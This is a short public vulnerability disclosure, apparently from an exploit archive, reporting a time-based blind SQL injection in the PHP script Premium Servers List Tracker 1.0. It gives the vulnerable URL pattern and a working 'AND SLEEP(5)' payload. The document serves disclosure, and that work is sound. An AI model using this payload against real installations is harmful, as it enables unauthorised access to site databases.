Premium Servers List Tracker 1.0 SQL Injection

`Exploit Title: Premium Servers List Tracker v1.0 a SQL Injection  
Date: 02.08.2017  
Vendor Homepage: https://codecanyon.net/item/premium-servers-list-tracker/19796599?s_rank=270  
Exploit Author: Kaan KAMIS  
Contact: iletisim[at]k2an[dot]com  
Website: http://k2an.com  
Category: Web Application Exploits  
  
Overview  
  
Premium phpServersList is an advanced servers management tool which allows users to track their own servers and visitors to find out great servers from all over the world. Our product is very flexible and, with a little imagination you can make your own unique servers list website.For example: If you want to make a certain type of servers list ( lets say, Counter Strike ) then you can setup from the admin panel so that users can only add Counter Strike Servers; Or if you want to have diversity in your website you can make it a top list, where everyone can add any type of server to the list.  
  
Vulnerable Url: http://localhost/server/1[payload]  
  
---  
Parameter: #1* (URI)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: http://localhost/server/1 AND SLEEP(5)  
---  
  
`